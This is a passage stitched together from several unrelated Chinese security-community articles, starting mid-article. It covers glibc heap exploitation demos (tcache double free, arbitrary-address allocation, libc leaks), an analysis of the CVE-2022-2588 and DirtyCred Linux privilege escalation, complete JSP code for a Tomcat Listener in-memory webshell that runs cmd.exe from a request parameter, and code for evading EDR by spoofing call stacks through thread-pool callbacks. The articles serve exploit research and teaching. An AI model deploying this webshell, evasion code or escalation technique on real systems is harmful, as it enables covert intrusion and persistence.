return 0;
}
编译：`gcc -g -no-pie -o first_fit first_fit.c`，加入源码信息，关闭PIE。
使用不同版本glibc，通过chaneld脚本修改程序使用的ld，这些是实验前的准备工作，之后不提了。
first_fit是先申请了a,b两块内存，b是为了防止a释放后被top
chunk合并，释放了a之后，再去申请c，c的大小小于a，那么c对应内存的首地址与a的一致，如果a存在UAF漏洞，就可以做一些事了（我不知道是什么事），在glibc-2.26之前，a的大小已经是大于fastbin了，所以释放后是进入unsorted
bin，那么在申请c的时候，会将a的chunk做切割，然后分配给c，因此c与a的首地址相同，而在glibc-2.26的版本中，a是进入了tcache，只有chunk大小完全匹配，才会将a分配给c。
## 0x04 fastbin_dup
删减过的代码
#include <stdio.h>
#include <stdlib.h>
int main()
{
int *a = malloc(0x20);
int *b = malloc(0x20);
int *c = malloc(0x20);
fprintf(stderr, "1st malloc(8): %pn", a);
fprintf(stderr, "2nd malloc(8): %pn", b);
fprintf(stderr, "3rd malloc(8): %pn", c);
free(a);
free(b);
free(a);
fprintf(stderr, "1st malloc(0x20): %pn", malloc(0x20));
fprintf(stderr, "2nd malloc(0x20): %pn", malloc(0x20));
fprintf(stderr, "3rd malloc(0x20): %pn", malloc(0x20));
}
实验是将同一个chunk释放两次，对于fastbin不能连续调用两次free(a)，因为会检测当前链表头部的chunk与释放的chunk是否为同一个，而在glibc-2.26版本中，只是进入了tcache中，没有多大区别。
但是现在可以把free(b)这一句删除，在glibc-2.26之前的版本，会触发检测到double free的错误
在tcache中则没有检测了，可以将同一块内存同时释放两次。
代码执行效果
a对应chunk(0x602250)中fd指针是指向自己的地址的
## 0x05 fastbin_dup_into_stack
修改过的源码
#include <stdio.h>
#include <stdlib.h>
int main()
{
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.n", 8+(char *)&stack_var);
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
free(a);
// free(b);//glibc-2.26版本不需要在free(b)了
free(a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %pn", d);
fprintf(stderr, "2nd malloc(8): %pn", malloc(8));//这一句glibc-2.26中也可以删除的，不删除也无所谓，不修改fd指针之前，是循环返回a的地址。
// stack_var = 0x20; //glibc-2.26版本不需要满足size字段在对应范围内
*d = (unsigned long long) (((char*)&stack_var) + sizeof(d)); //2.26版本之后这里是+，2.25版本是-，因为stack_var变量是伪造chunk的size字段，2.26中fd指向的是另一个chunk的fd，所以是size字段+8，而2.25是指向chunk头，所以是size字段-8
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free listn", malloc(8));
fprintf(stderr, "4th malloc(8): %pn", malloc(8));
}
这个算是上一个的延续，通过将一个内存块释放两次，那么申请一个出来，就可以修改其fd指针了，控制之后申请返回的地址为任意地址，fastbin的话还需要满足地址+8（也就是size字段）处的值是在对应fastbin范围内，比如栗子中fastbin的大小是0x20，那么指定的其他地址处，size字段值应该是0x20~0x2f。但是对于tcache来说就简单多了，没有double
free检测，没有size字段的检测。
gdb调试
申请过d之后，0x405260还在tcache中，用户使用内存就是chunk的从fd开始的，因此直接修改*d的值即可
fd已经指向了我们希望返回的地址了，先申请一个chunk将d对应的chunk卸下，查看tcache
最后成功返回指定的地址
PS:house_of_lore对于glibc-2.26版本来说没什么区别，因为代码一个是利用fastbin，一个是利用small
bin，但是tcache范围较大，就都在tcache内了。
## 0x06 unsorted bin attack（glibc-2.25）
unsorted bin attack其实就是泄露unsorted bin 的地址，根据unsorted
bin的地址计算出malloc_area的地址（main_area=unsorted bin –
0x58），从而推算出libc_base的加载地址，那么就能去获取one_gadget的实际地址，或者是知道system函数地址之类的。因为针对unsorted
bin，所以和tcache无关，因此这部分内容其实和标题也无关，算个彩蛋？
这里整理了三个方法，其实就是三种读取到unsorted bin地址的方法。
**方法一**
how2heap的代码给了一个思路是，将内存释放进入unsorted
bin之后，假设这个chunk为p，修改p的bk地址为一个可获取内容的变量地址-2size_t（代码中是一个栈变量），那么再申请一个chunk
p大小所对应的的内存，会将p从链表中取出，此时
_p- >fd = unsorted bin 头部 = FD_
_p- >bk = 栈变量-2_size_t = BK
卸下链表的操作就是
FD->bk = BK （这个是导致unsorted bin之后申请的内存为栈地址）
BK->fd = FD（此时BK->fd 就是BK的地址加上2*size_t，所以就是栈变量地址，那么就是获取了unsorted bin 的地址）
**方法二**
UAF的方法，当chunk进入unsorted
bin，直接输出fd或者bk的值（之前如果是空的话），如果之前unsortedbin有值，那么最好还是输出bk的值保险（合并的情况排除 ）
**方法三**
有两个连续的chunk p和q，其中p的大小是大于fastbin的，那么free之后是会进入unsorted
bin的，然后修改p的大小（通过溢出漏洞，如果没有这个方法就没办法用了）为p+q的大小（即理解为p和q是合并为一个chunk了），那么再去申请一个chunk
p对应大小的内存，会将假装合并的p+q的chunk分隔出来，将p分配出去，从而修改了chunk q的fd和bk，会指向unsorted
bin，那么去读取chunk q的fd或者bk即可。
### 方法一示例
方法一就是how2heap内的源码，未做修改，直接看下过程。
先申请一个chunk p，再申请个malloc(500)是为了防止free(p)时，p被top chunk合并。
free(p)之后，chunk 进入unsorted bin
然后修改p的bk指针为栈变量地址-2site_t（也可以修改p的fd指针为栈变量地址-3size_t）
然后申请一个chunk p 对应的大小，会将p从链表中卸下，此时栈变量存储的就是unsorted bin的地址了。
### 方法二示例
UAF，演示代码
#include <stdio.h>
#include <stdlib.h>
int main(){
unsigned long *p=malloc(400);
malloc(500);
free(p);
printf("p[1] is at %p:%pn",p,(void*)p[1]);
}
emmm，没什么说明的了。
### 方法三示例
通过修改unsortedbin中chunk的size，达到分割chunk来获取unsorted bin的地址
源码
#include <stdio.h>
#include <stdlib.h>
int main(){
unsigned long *p=malloc(0x100);
unsigned long *q=malloc(0x40);
free(p);
*(p-1) = 0x161;
printf("free(p) and p's value is %pn",(void *)p[0]);
unsigned long *t = malloc(0x100);
printf("t is at %pn",t);
printf("p is at %pn",p);
printf("q's value is %pn",(void *)q[0]);
}
申请两个内存，p和q，对应chunk大小分别是0x110和0x50
此时修改p的size大小（其实只要p的大小+4*size_t就可以了，但是不想分割q了）为p+q的大小和，所以是0x160，再加上最低位表示前一个chunk在使用，所以修改值为0x161，此时查看heap可以看到q好像被合并了
再申请一个0x100的内存，就是再将p分割出来，此时q的fd和bk就是指向unsortedbin了，而此时q是从未释放过的，所以读取q的值算正常操作，因此能获取到unsorted
bin的地址。 | 社区文章 |
**作者：启明星辰ADLab
原文链接：<https://mp.weixin.qq.com/s/Qs_-CTZyojRe_x8E0KiXMg>**
# 一、 前言
数月前，国外安全组织ZDI研究人员披露了一个Linux内核本地权限提升漏洞，该漏洞出现在流量控制子系统包分类器的cls_route过滤器中，当旧过滤器句柄为0时，在释放之前内核不会从哈希表中将其删除，其漏洞编号为CVE-2022-2588，而且还提出了一种新的漏洞利用方法，命名为DirtyCred，该方法可绕过广泛采用的内核保护和漏洞利用缓解措施，从而实现权限提升。
# 二、 Rtnetlink简述与实现简析
## （一）Rtnetlink简述
Rtnetlink是所有内核网络子系统使用的网络连接总线，包括网络接口、路由、fdb和邻居。一些内核网络子系统也在通用netlink总线上提供服务。Linux内核网络子系统使用消息类型和系列向Rtnetlink内核注册处理程序。Rtnetlink允许读取和更改内核的路由表。它在内核中用于在各种子系统之间进行通信，也用于与用户空间程序进行通信。网络路由、IP地址、链接参数、邻居设置、排队规则、流量类别和数据包分类器都可以通过NETLINK_ROUTE套接字进行控制。Rtnetlink由以下消息类型组成（除了标准的netlink消息）：
* RTM_NEWLINK、RTM_DELLINK、RTM_GETLINK创建、删除或获取有关特定网络接口的信息。
* RTM_NEWADDR、RTM_DELADDR、RTM_GETADDR添加、删除或接收有关与接口关联的IP地址的信息。
* RTM_NEWROUTE、RTM_DELROUTE、RTM_GETROUTE创建、删除或接收有关网络路由的信息。
* RTM_NEWNEIGH、RTM_DELNEIGH、RTM_GETNEIGH添加、删除或接收有关邻居表条目的信息（例如，ARP条目）。
* RTM_NEWRULE、RTM_DELRULE、RTM_GETRULE添加、删除或检索路由规则。
* RTM_NEWQDISC、RTM_DELQDISC、RTM_GETQDISC添加、删除或获取排队规则。
* RTM_NEWTCLASS、RTM_DELTCLASS、RTM_GETTCLASS添加、删除或获取流量类别。
* RTM_NEWTFILTER, RTM_DELTFILTER, RTM_GETTFILTER添加、删除或接收有关流量过滤器的信息。
## （二）实现简析
当内核启动加载，在初始化netlink协议实现时，会调用rtnetlink_init()函数初始化路由netlink socket接口，该函数实现如下：
根据代码可知，通过rtnl_register()函数将不同的消息类型和对应操作进行绑定，该函数签名为void rtnl_register(int
protocol, int msgtype,rtnl_doit_func doit, rtnl_dumpit_func dumpit,unsigned
int
flags)，有的消息类型只有动作函数doit，有的消息类型只有dump函数dompit，有的消息类型两者皆有。有的消息类型例如RTM_NEWTFILTER，添加一个流量过滤器，则是在tc_filter_init()函数中初始化，该函数实现如下：
当用户层通过NETLINK_ROUTE套接字发送RTM_NEWTFILTER消息用于创建一个流量过滤器时，内核将调用rtnetlink_rcv_msg()函数来处理rtnetlink消息，该函数关键实现如下：
从消息中获取family和type，然后调用rtnl_get_link()函数根据family和type获取link，行5246，调用link->doit回调函数，这里的doit回调函数即为tc_new_tfilter()函数。该函数会进一步解析rtnetlink消息数据包，判断并创建哪种类型的过滤器，具体实现如下：
获取指定的过滤器名字，然后会获取指定协议的过滤器tp。如下代码所示：
如果没有，便根据name创建一个新的tp。如下代码所示：
判断tca[TCA_KIND]不为空和nlmsg_flags为NLM_F_CREATE，然后调用tcf_proto_create()函数创建，该函数实现如下：
行258，分配一个tp，行262，调用tcf_proto_lookup_ops()函数根据kind获取对应的ops，这里以route为例，将获取到cls_route4_ops，如下代码所示：
然后初始化tp，行274，调用route4_init()函数初始化一个route4_head，用于存放过滤器对应的哈希值，该函数实现如下：
然后tcf_proto创建完成后，将其插入chain中。如下代码所示：
接下来调用对应的get函数，根据tcm_handle获取过滤器。
这里将调用route4_get()函数获取，该函数实现如下：
根据handle从route4_head链表中获取对应的route4_filter。如果为空，便调用change函数进行创建。如下代码所示：
这里将调用ruote4_change()函数进行创建，该函数具体分析见下文。创建成功后，添加一个新的route4过滤器的整个流程便完成了。
# 三、 漏洞原理
漏洞代码出现在route4_change()函数中，该函数实现如下：
行483，首先进一步解析消息数据包，行488，拿出传入的route4_filter，然后判断是否已创建，如果创建过，再判断handle是否一致。由于第一次创建，这里fold为空。接下来进行创建并初始化，如下代码所示：
行493，调用kzalloc()函数分配route4_filter，该结构体大小为144字节。行497，调用tcf_exts_init()函数进行初始化，该函数实现如下：
如果内核开启了CONFIG_NET_CLS_ACT，便调用kcalloc()函数分配exts->actions，分配大小为256字节。初始化完成返回到route4_change()函数中，行501，如果fold不为空，便将fold的数据域赋值给f。行512，然后调用route4_set_parms()函数设置其他参数。行517到行527，将新创建的route4_filter对应的哈希值放到route4_head中。如下代码所示：
行529到行543，该段代码是将旧过滤器的哈希值从route4_head中移除。如下代码所示：
由于是第一次创建，fold为空，因此不进入。但是行529代码是有问题的，这里不仅判断fold是否为空，同时还判断fold->handle是否为空。那如果第一次创建一个handle为0的过滤器，第二次创建新过滤器时，fold不为空，但是fold->handle为0，因此并不会将handle为0的旧过滤器的哈希值从route4_head中移除，保留了对其的索引。接下来开始释放旧过滤器内存，如下代码所示：
第一次创建过滤器时，fold为空，不进入。当第二次创建新过滤器时，fold不为空，行550，调用tcf_queue_work()函数对handle为0的旧过滤器进行释放操作，回调函数为route4_delete_filter_work()函数，该函数实现如下：
行266，最后调用__route4_delete_filter()函数分别释放f->exts和f。当内核调用route4_delete()函数进行释放所有过滤器时，行344，会调用route4_delete_filter_work()函数进行释放，该函数实现如下：
由于handle为0的旧过滤器对应的哈希值依然在route4_head中，因此会对两个对象进行二次释放，分别是route4_filer及对应的exts。该漏洞修复补丁如下代码所示：
将判断条件改成fold是否为空，fold不为空便将其从哈希表中删除。
# 四、 利用研究
## （一）DirtyCred
研究人员提出了一种新的漏洞利用方法，命名为DirtyCred，该利用方法将非特权cred与特权cred进行交换以提升权限，且不需要覆盖内核堆栈上的任何关键数据字段，而是滥用堆内存重写机制来获得特权。该利用技术无需泄露内核地址绕过KASLR，且通用性较强，可跨不同的内核和架构，能绕过广泛采用的内核保护和漏洞利用缓解措施。DirtyCred分为三个步骤，过程如下图所示：
首先，DirtyCred打开一个可写文件“/tmp/x”，它将在内核中分配一个可写file对象。通过触发漏洞，源指针会引用相应缓存中的file对象。然后，DirtyCred尝试将内容写入打开的文件“/tmp/x”中。在实际写入内容之前，内核会检查当前文件是否有写权限，该位置是否可写等。通过检查后，DirtyCred会继续这个实际的文件写入操作，进入第二步。在此步骤中，DirtyCred触发fs_context对象的释放点以解除分配file对象，这就使file对象成为一个被释放的内存点。第三步，DirtyCred打开了一个只读文件“/etc/passwd”，这触发了内核为“/etc/passwd”分配file对象。如上图所示，新分配的file对象接管了被释放的位置。完成此设置后，DirtyCred将释放其暂停的写入操作，而内核将执行实际的内容写入。由于file对象已经被调换，搁置的内容将被重定向到只读文件“/etc/passwd”中。假设写入“/etc/passwd”的内容是“hacker:x:0:0:root:/:/bin/sh”，轻易地注入一个特权账户，从而实现权限提升。
## （二）利用分析
1、file slab碎片整理
首先创建10000个“/etc/passwd”的file对象，进行file slab碎片整理，为堆喷做准备。
2、缓存跨越（cross-cache）
当为特定类型的对象创建专用的内存缓存时，该缓存中将只存在该类型的对象，从而防止不同类型的对象相邻。但是，不同slab cache的slab
page可以相邻。当slab A与slab B相邻时，slab A末尾的对象与slab
B开头的另一个对象相邻。因此，攻击者有可能放置带有任何类型受害者对象的slab页在易受攻击对象的slab page之后，溢出受害者对象来执行攻击。
当一个slab page被释放给伙伴系统时，它会在稍后的某个时候被重用，因为内存页面应该被内核回收。cross-cache攻击的技术是释放slab
page中的所有内存槽，强制释放slab page。然后再喷射另一种类型的对象分配新的slab page，回收释放的slab
page。如果攻击成功，被释放对象的内存将被另一种类型的对象占用。
由于file对象在专属缓存中分配，而漏洞中route4_filter和exts在通用缓存中分配，正常情况下，两个缓存是隔离的，无法进行常规的对象占坑。作者采用了缓存跨越攻击解决了这个问题。前文讲到route4_filter对象大小为144，在kmalloc-192中分配，exts对象大小为256，在kmalloc-256中分配。file对象大小为256（默认配置情况下），在专属内存中分配。先通过创建basic过滤器在kmalloc-256
slab中进行内存布局。
然后创建route4过滤器，将会创建一个route4_filter漏洞对象和exts对象。最后再进行一部分basic过滤器创建，完成内存布局。关键对象内存分布如下图所示：
然后第一次触发漏洞，释放route4_filter对象和exts对象。然后再全部释放basic->exts对象，让伙伴系统回收kmalloc-256
slab page。
由于内核默认开启slab double free缓解机制，所以这里要乱序释放多个basic->exts。
3、堆喷占坑
大量打开一个普通文件data2，进行file对象分配占坑route4->exts。缓存跨越攻击成功后，然后再次触发漏洞，第二次释放route4_filter，跟着释放route4->exts，将会把file对象非法释放掉。
关键对象内存布局如下图所示：
4、寻找file对象空洞
二次释放后，出现了一个file对象空洞，需要找到它。所以此时再次大量打开另一个普通文件uaf，进行file对象堆喷，将会占据这个file对象空洞。然后通过kcmp()系统调用检查
pid1 和 pid2 标识的两个进程是否共享文件描述符定位fds[j]。
5、延长时间窗口和写恶意数据
找到目标file对象的文件描述符fds[j]后，启动两个线程，slow_write线程向uaf文件中写2G数据，用于延长时间窗口。
然后write_cmd线程通过fds[j]文件描述符写恶意数据。
6、再次释放并堆喷
最后进行close操作，释放file对象，随即大量打开“/etc/passwd”文件进行file对象堆喷。堆喷成功后，顺利向“/etc/passwsd”写数据，注入一个特权账户完成权限提升。
# 五、 漏洞复现
在内核版本5.4.124中，开启CONFIG_NET_CLS_ACT和CONFIG_NET_SCH_SFQ，成功复现漏洞。打印调试关键数据，如下图所示：
# 六、 参考
1、 <https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game>
2、 <https://www.openwall.com/lists/oss-security/2022/08/09/6>
3、<https://www.man7.org/linux/man-pages/man7/rtnetlink.7.html>
4、 <https://legacy.netdevconf.info/0.1/papers/Rtnetlink-dump-filtering-in-the-kernel.pdf>
5、 <https://github.com/Markakd/DirtyCred>
6、 <https://github.com/Markakd/CVE-2022-2588>
7、 <https://zplin.me/papers/DirtyCred.pdf>
* * * | 社区文章 |
# Tomcat容器攻防笔记之Listener内存马
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景：
基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。
结合当下形势，对Tomcat容器如何利用Listener实现的内存Webshell进行研究学习。
* * *
## 声明 ：
由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。
* * *
## 一、什么是Listener？
Listener译文监听器，顾名思义用于监听事件的发生或状态的改变。
## 二、Tomcat为什么要引入Listener？
Tomcat在启动、运行、关闭等各个过程中，由于环境中对象之间的依赖关系复杂，对象的属性和状态会发生各种改变，一个对象的改变需要通知其他依赖于它的对象，以此保证高度的协同合作，而Listener的引入，正是为了解决该问题。
这种行为模式，也称为观察者模式。
## 三、Listener的实现和类型？
Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生Java.util.EvenListener。
LifecycleListener增加了生命周期管理，主要用于四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper。相关的类和接口列出如下，看下图三，Lifecycle接口定义了运行状态，用于容器状态的判断和管理。
但我们这次不讲LifecycleListener，原因是它们多用于Tomcat初始化启动阶段，那时客户端的请求还没进入解析阶段，也就是说不能通过请求，随心所欲根据我们的输入执行命令。
所以，让我们来看看EvenListener。EvenListener接口很简单，简单到啥也没有。
原生Tomcat中，自定义了很多继承于EventListener的接口，应用于各个对象的监听。下图列举一些常见的监听器接口。
我们主要来关注箭头指向的ServletRequestListener，可能会好奇这么多不选，而要挑ServletRequestListener，既然要实现Webshell，理所当然希望它能接收我们任意的输入以及随心所欲控制响应，因此我们需找到一个Tomcat解析了请求后但仍未响应的中间环节。而ServletRequestListener是一个很好选择，来看看为什么。
ServletRequestListener用于监听ServletRequest的生成和销毁，也就是当我们访问任意资源，无论是servlet、jsp还是静态资源，都会触发requestInitialized方法。继续看，在哪个环节，什么时候，哪个地方会调用监听器。
具体在StandardHostValve调用下一个阀之前调用context.fireRequestInitEvent(request.getRequest())，进而调用ServletRequestListener。
了解Tomcat处理流程的应该知道，请求在CoyoteAdapter#service()方法中生成ServletRequest对象并完成解析，下个流程是到Engine、Container中进行处理，而StandardHostValve正是Container中的环节，到这一步时，我们的请求参数已经被Tomcat解析完毕并保存在Request对象里了，继续往下看。
此处的context是StandardContext，来看fireRequestInitEvent()。
通过this.getApplicationEventListeners();获取成员属性ApplicationEventListeners中的监听器，然后生成ServletRequestEvent事件对象，而后通过for循环，遍历调用(ServletRequestListener)
listener.requestInitialized(event);
而requestInitialized就是继承ServletRequestLisner接口要实现的方法。
经过以上分析，大致了解，Tomcat执行到StandardHostValve#invoke()时，获取存储在StandardContext.ApplicationEventListeners中的监听器，并遍历调用listener#requestInitialized()
那注入listener马，我们只需要新建一个继承ServletRequestLisner接口的监听器并在requestInitialized方法中实现我们想要的任意功能，然后将该实例添加到StandardContext的ApplicationEventListeners变量就大功告成了。
默认情况ApplicationEventListeners为空，不存在监听器，这里如此设计是为了给开发者提供更多的功能扩展空间。
* * *
## 四、编写代码
导入的包：
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
编写监听器：
<%!
public class myListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
// 一个小路径快速获得StandardContext
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
添加监听器:
<%
myListener listenerdemo = new myListener();
context.addApplicationEventListener(listenerdemo);
%>
## 五、补充细节
（1）关于*.jsp页面中的request对象实际上是RequestFacade对象，这里采用的是门面模式，将复杂的对象转化成一个简单易操作的对象，提供一个简单入口的同时也是为了保证原有对象的独立性。而RequestFacade就是org.apache.catalina.connector.Request对象的门面。
（2）还记得调用ServletRequestListener的入口不？context.fireRequestInitEvent(request.getRequest())，这里的request.getRequest()得到的也是Request对象的门面，可别搞错咯。所以上面我使用了反射得到RequestFacade里的Request，进而得到Response控制输出。
## 六、效果 | 社区文章 |
## 1\. 概述
最近学习了下 BRC4 作者1月发表的博客 [Hiding In PlainSight - Indirect Syscall is Dead! Long
Live Custom Call Stacks](https://0xdarkvortex.dev/hiding-in-plainsight/)
（以下称原文章），原文章讲述了利用回调函数和通过少量汇编代码修改堆栈来绕过 EDR 的一些技巧，刚好前几天尝试重写了 CS 的
shellcode，今天打算用这篇文章里提到的一些技术来改造下之前写的 shellcode，算是之前 [CS 4.7 Stager 逆向及
Shellcode 重写 - 先知社区](https://xz.aliyun.com/t/12194) 的一个续篇。
## 2\. EDR 的检测点
一些 EDR 通过用户态 hook 或 ETW 对敏感 API 的调用进行堆栈追踪，通过回溯堆栈中的返回地址以捕获 Shellcode：
|-----------Top Of The Stack-----------|
| |
| |
|--------------------------------------|
|------Stack Frame of LoadLibrary------|
| Return address of RX on disk |
| |
|----------Stack Frame of RX-----------| <- Detection (An unbacked RX region should never call LoadLibraryA)
| Return address of PE on disk |
| |
|-----------Stack Frame of PE----------|
| Return address of RtlUserThreadStart |
| |
|---------Bottom Of The Stack----------|
## 3\. 使用回调函数
回调函数就是一个通过函数指针调用的函数。如果你把函数的指针（地址）作为参数传递给另一个函数，当这个指针被用来调用其所指向的函数时，我们就说这是回调函数。回调函数不是由该函数的实现方直接调用，而是在特定的事件或条件发生时由另外的一方调用的，用于对该事件或条件进行响应。
作者在原文章中以 TpAllocWork 函数为例，该函数的结构如下：
NTSTATUS NTAPI TpAllocWork(
PTP_WORK* ptpWrk,
PTP_WORK_CALLBACK pfnwkCallback,
PVOID OptionalArg,
PTP_CALLBACK_ENVIRON CallbackEnvironment
);
其中的第二个参数即是一个函数指针，假如我们将该参数替换成指向 LoadLibraryA 函数的指针，那么函数 LoadLibraryA
就会作为一个回调函数传递给 TpAllocWork，而后通过调用 TpPostWork 来创建一个新的线程执行 TpAllocWork
中的保存的回调函数，此时，LoadLibraryA 函数的返回地址会指向 TpPostWork 函数。理想的函数返回情况如下：
LoadLibraryA -> TpPostWork -> RtlUserThreadStart
第三个参数是回调函数的参数，在原文章中是 wininet.dll，我们需要将 wininet.dll 作为参数传递给我们的 LoadLibraryA
函数。但是，TpAllocWork 函数的第二个参数类型 PTP_WORK_CALLBACK 具有如下结构：
VOID CALLBACK WorkCallback(
PTP_CALLBACK_INSTANCE Instance,
PVOID Context,
PTP_WORK Work
);
这会导致参数无法正确地传递给 LoadLibraryA，如下，wininet.dll 被赋值给了 RDX 寄存器，在x64架构中，RDX
被用作函数传参时的第二个参数，然而，LoadLibraryA 函数并没有第二个参数！
### 3.1 替换 LoadLibraryA
在上一节中我们提到，使用 TpAllocWork 函数无法正确地将参数 wininet.dll 传递给 LoadLibraryA
函数，原作者在此处使用的技巧是通过汇编代码将保存在 RDX 寄存器中的参数传递给 RCX 寄存器，之后通过调用 getLoadLibraryA 函数取得
LoadLibraryA 函数的地址保存在 RAX 寄存器中并跳转执行：
section .text
extern getLoadLibraryA
global WorkCallback
WorkCallback:
mov rcx, rdx
xor rdx, rdx
call getLoadLibraryA
jmp rax
因为 RCX 寄存器在x64架构中被用来作为函数的第一个参数来传递，而调用函数 getLoadLibraryA 的返回值将保存在 RAX
寄存器中，此时，RAX 寄存器中保存的即是 LoadLibraryA 函数的地址，通过 jmp 跳转执行，即可正确地将参数 wininet.dll 传递给
LoadLibraryA 函数，getLoadLibraryA 函数如下：
UINT_PTR getLoadLibraryA() {
return (UINT_PTR)pLoadLibraryA;
}
修改后的堆栈调用：
作者给出的示例代码如下：
#include <windows.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID (NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID (NTAPI* TPRELEASEWORK)(PTP_WORK);
FARPROC pLoadLibraryA;
UINT_PTR getLoadLibraryA() {
return (UINT_PTR)pLoadLibraryA;
}
extern VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);
int main() {
pLoadLibraryA = GetProcAddress(GetModuleHandleA("kernel32"), "LoadLibraryA");
FARPROC pTpAllocWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpAllocWork");
FARPROC pTpPostWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpPostWork");
FARPROC pTpReleaseWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpReleaseWork");
CHAR *libName = "wininet.dll";
PTP_WORK WorkReturn = NULL;
((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)WorkCallback, libName, NULL);
((TPPOSTWORK)pTpPostWork)(WorkReturn);
((TPRELEASEWORK)pTpReleaseWork)(WorkReturn);
WaitForSingleObject((HANDLE)-1, 0x1000);
printf("hWininet: %p\n", GetModuleHandleA(libName));
return 0;
}
此处作者定义了一个全局变量 pLoadLibraryA 用于调用函数 getLoadLibraryA 时取得 LoadLibraryA
的函数地址，但是因为我们要写的是一段 shellcode，不能使用全局变量，所以我对此处的 getLoadLibraryA 函数进行了适当的修改，将
pLoadLibrary定义为局部变量并通过函数 GetProcAddressWithHash 获取其地址：
EXTERN_C UINT_PTR getLoadLibraryA() {
FARPROC pLoadLibraryA = (FN_LoadLibraryA)GetProcAddressWithHash(0x0726774C);
return (UINT_PTR)pLoadLibraryA;
}
而这又引入了新的问题，在调用 GetProcAddressWithHash 函数后，用于传递参数的几个寄存器的值均发生了变化，这会再次导致参数
wininet.dll 无法正确地传递给 LoadLibraryA 函数，我在此处采用的方法是将 xmm
寄存器作为临时传递参数的寄存器，修改后的汇编代码如下：
myLoadLibrary PROC
movq xmm3, rdx
xor rdx, rdx
call getLoadLibraryA
movq rcx, xmm3
xorps xmm3, xmm3
jmp rax
myLoadLibrary ENDP
### 3.2 替换 VirtualAlloc
除了对动态链接库的加载进行监测外，一些敏感 API 函数也受到 EDR 的监视，原文章以 NtAllocateVirtualMemory 为例。
首先创建一个结构体用来保存 NtAllocateVirtualMemory 和它的参数：
typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
UINT_PTR pNtAllocateVirtualMemory; // pointer to NtAllocateVirtualMemory - rax
HANDLE hProcess; // HANDLE ProcessHandle - rcx
PVOID* address; // PVOID *BaseAddress - rdx; ULONG_PTR ZeroBits - 0 - r8
PSIZE_T size; // PSIZE_T RegionSize - r9; ULONG AllocationType - MEM_RESERVE|MEM_COMMIT = 3000 - stack pointer
ULONG permissions; // ULONG Protect - PAGE_EXECUTE_READ - 0x20 - stack pointer
} NTALLOCATEVIRTUALMEMORY_ARGS, *PNTALLOCATEVIRTUALMEMORY_ARGS;
之后，我们初始化这个结构体，将它作为指针传递给 TpAllocWork 函数调用我们的回调函数：
#include <windows.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID (NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID (NTAPI* TPRELEASEWORK)(PTP_WORK);
typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
UINT_PTR pNtAllocateVirtualMemory; // pointer to NtAllocateVirtualMemory - rax
HANDLE hProcess; // HANDLE ProcessHandle - rcx
PVOID* address; // PVOID *BaseAddress - rdx; ULONG_PTR ZeroBits - 0 - r8
PSIZE_T size; // PSIZE_T RegionSize - r9; ULONG AllocationType - MEM_RESERVE|MEM_COMMIT = 3000 - stack pointer
ULONG permissions; // ULONG Protect - PAGE_EXECUTE_READ - 0x20 - stack pointer
} NTALLOCATEVIRTUALMEMORY_ARGS, *PNTALLOCATEVIRTUALMEMORY_ARGS;
extern VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);
int main() {
LPVOID allocatedAddress = NULL;
SIZE_T allocatedsize = 0x1000;
NTALLOCATEVIRTUALMEMORY_ARGS ntAllocateVirtualMemoryArgs = { 0 };
ntAllocateVirtualMemoryArgs.pNtAllocateVirtualMemory = (UINT_PTR) GetProcAddress(GetModuleHandleA("ntdll"), "NtAllocateVirtualMemory");
ntAllocateVirtualMemoryArgs.hProcess = (HANDLE)-1;
ntAllocateVirtualMemoryArgs.address = &allocatedAddress;
ntAllocateVirtualMemoryArgs.size = &allocatedsize;
